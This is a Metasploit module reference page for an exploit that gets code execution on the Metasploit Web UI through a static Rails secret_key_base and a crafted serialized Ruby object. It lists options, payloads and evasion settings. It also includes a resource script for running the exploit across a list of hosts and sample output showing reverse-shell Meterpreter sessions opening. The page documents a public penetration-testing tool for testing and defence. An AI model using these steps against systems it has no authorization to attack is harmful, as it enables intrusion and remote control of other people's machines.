Metasploit Web UI Static secret_key_base Value - Metasploit
This page contains detailed information about how to use the exploit/multi/http/metasploit_static_secret_key_base metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Metasploit Web UI Static secret_key_base Value
Module: exploit/multi/http/metasploit_static_secret_key_base
Source code: modules/exploits/multi/http/metasploit_static_secret_key_base.rb
Disclosure date: 2016-09-15
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): ruby
Supported platform(s): Ruby
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 3790, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits the Web UI for Metasploit Community, Express and Pro where one of a certain set of Weekly Releases have been applied. These Weekly Releases introduced a static secret_key_base value. Knowledge of the static secret_key_base value allows for deserialization of a crafted Ruby Object, achieving code execution. This module is based on exploits/multi/http/rails_secret_deserialization
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using metasploit_static_secret_key_base against a single host
Normally, you can use exploit/multi/http/metasploit_static_secret_key_base this way:
msf > use exploit/multi/http/metasploit_static_secret_key_base
msf exploit(metasploit_static_secret_key_base) > show targets
... a list of targets ...
msf exploit(metasploit_static_secret_key_base) > set TARGET target-id
msf exploit(metasploit_static_secret_key_base) > show options
... show and set options ...
msf exploit(metasploit_static_secret_key_base) > exploit
Using metasploit_static_secret_key_base against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your metasploit_static_secret_key_base will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/metasploit_static_secret_key_base")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/http/metasploit_static_secret_key_base exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/metasploit_static_secret_key_base
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/metasploit_static_secret_key_base) > show info
Name: Metasploit Web UI Static secret_key_base Value
Module: exploit/multi/http/metasploit_static_secret_key_base
Platform: Ruby
Arch: ruby
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-09-15
Provided by:
Justin Steven
joernchen of Phenoelit <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3790 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to the Metasploit Web UI
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the Web UI for Metasploit Community, Express
and Pro where one of a certain set of Weekly Releases have been
applied. These Weekly Releases introduced a static secret_key_base
value. Knowledge of the static secret_key_base value allows for
deserialization of a crafted Ruby Object, achieving code execution.
This module is based on
exploits/multi/http/rails_secret_deserialization
References:
OVE (20160904-0002)
https://blog.rapid7.com/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401
https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md
Module Options
This is a complete list of options available in the multi/http/metasploit_static_secret_key_base exploit:
msf6 exploit(multi/http/metasploit_static_secret_key_base) > show options
Module options (exploit/multi/http/metasploit_static_secret_key_base):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3790 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to the Metasploit Web UI
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/metasploit_static_secret_key_base exploit:
msf6 exploit(multi/http/metasploit_static_secret_key_base) > show advanced
Module advanced options (exploit/multi/http/metasploit_static_secret_key_base):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/metasploit_static_secret_key_base module can exploit:
msf6 exploit(multi/http/metasploit_static_secret_key_base) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/metasploit_static_secret_key_base exploit:
msf6 exploit(multi/http/metasploit_static_secret_key_base) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/ruby/pingback_bind_tcp normal No Ruby Pingback, Bind TCP
6 payload/ruby/pingback_reverse_tcp normal No Ruby Pingback, Reverse TCP
7 payload/ruby/shell_bind_tcp normal No Ruby Command Shell, Bind TCP
8 payload/ruby/shell_bind_tcp_ipv6 normal No Ruby Command Shell, Bind TCP IPv6
9 payload/ruby/shell_reverse_tcp normal No Ruby Command Shell, Reverse TCP
10 payload/ruby/shell_reverse_tcp_ssl normal No Ruby Command Shell, Reverse TCP SSL
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/metasploit_static_secret_key_base exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/metasploit_static_secret_key_base) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
t respond
Here is a relevant code snippet related to the "t respond" error message:
217: 'uri' => datastore['TARGETURI'] || "/",
218: 'method' => 'GET',
219: }, 25)
220:
221: unless res
222: return Exploit::CheckCode::Unknown # Target didn't respond
223: end
224:
225: if res.get_cookies.empty?
226: return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue.
227: end
t send us any cookies. We can
Here is a relevant code snippet related to the "t send us any cookies. We can" error message:
221: unless res
222: return Exploit::CheckCode::Unknown # Target didn't respond
223: end
224:
225: if res.get_cookies.empty?
226: return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue.
227: end
228:
229: match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
230:
231: unless match
t send us a session cookie. We can
Here is a relevant code snippet related to the "t send us a session cookie. We can" error message:
227: end
228:
229: match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
230:
231: unless match
232: return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue.
233: end
234:
235: if match[1] == cookie_name
236: vprint_status("Found cookie")
237: else
Target didn't respond
Here is a relevant code snippet related to the "Target didn't respond" error message:
263: 'uri' => datastore['TARGETURI'] || "/",
264: 'method' => 'GET',
265: }, 25)
266:
267: unless res
268: fail_with(Failure::Unreachable, "Target didn't respond")
269: end
270:
271: if res.get_cookies.empty?
272: fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")
273: end
Target didn't send us any cookies. We can't continue.
Here is a relevant code snippet related to the "Target didn't send us any cookies. We can't continue." error message:
267: unless res
268: fail_with(Failure::Unreachable, "Target didn't respond")
269: end
270:
271: if res.get_cookies.empty?
272: fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")
273: end
274:
275: match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
276:
277: unless match
Target didn't send us a session cookie. We can't continue.
Here is a relevant code snippet related to the "Target didn't send us a session cookie. We can't continue." error message:
273: end
274:
275: match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
276:
277: unless match
278: fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")
279: end
280:
281: if match[1] == cookie_name
282: vprint_status("Found cookie")
283: else
SECRET not found, target not vulnerable?
Here is a relevant code snippet related to the "SECRET not found, target not vulnerable?" error message:
288: print_status("Searching for proper secret")
289:
290: (version, secret) = get_secret(match[2], match[3])
291:
292: unless secret
293: fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")
294: end
295:
296: print_status("Found secret, detected version #{version}")
297:
298: cookie = build_signed_cookie(secret)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7862 Merged Pull Request: Ruby 2.4 local fixes for metasploit-framework
- #7341 Merged Pull Request: add module metasploit_static_secret_key_base
References
- CVE: Not available
- OVE-20160904-0002
- https://blog.rapid7.com/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401
- https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md
See Also
Check also the following modules related to this module:
- exploit/multi/http/metasploit_webui_console_command_execution
- auxiliary/dos/http/metasploit_httphandler_dos
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- post/multi/escalate/metasploit_pcaplog
- encoder/cmd/powershell_base64
- encoder/php/base64
- encoder/ruby/base64
- exploit/unix/webapp/base_qry_common
- auxiliary/analyze/crack_databases
- auxiliary/scanner/http/oracle_demantra_database_credentials_leak
- auxiliary/scanner/http/sybase_easerver_traversal
- exploit/linux/misc/aerospike_database_udf_cmd_exec
- exploit/linux/misc/ib_jrd8_create_database
- exploit/windows/browser/java_codebase_trust
- exploit/windows/browser/java_docbase_bof
- exploit/windows/http/maxdb_webdbm_database
- exploit/windows/http/sybase_easerver
- exploit/windows/misc/borland_interbase
- exploit/windows/misc/fb_isc_attach_database
- exploit/windows/misc/fb_isc_create_database
- exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
- exploit/windows/misc/ib_isc_attach_database
- exploit/windows/misc/ib_isc_create_database
- exploit/multi/http/rails_secret_deserialization
- exploit/multi/vnc/vnc_keyboard_exec
- auxiliary/scanner/http/smt_ipmi_static_cert_scanner
- encoder/x86/single_static_bit
- auxiliary/gather/windows_secrets_dump
- auxiliary/scanner/smb/impacket/secretsdump
- exploit/linux/http/github_enterprise_secret
- post/linux/gather/pptpd_chap_secrets
- post/linux/gather/vcenter_secrets_dump
- post/windows/gather/credentials/thycotic_secretserver_dump
- post/windows/gather/lsa_secrets
Authors
- Justin Steven
- joernchen of Phenoelit <joernchen[at]phenoelit.de>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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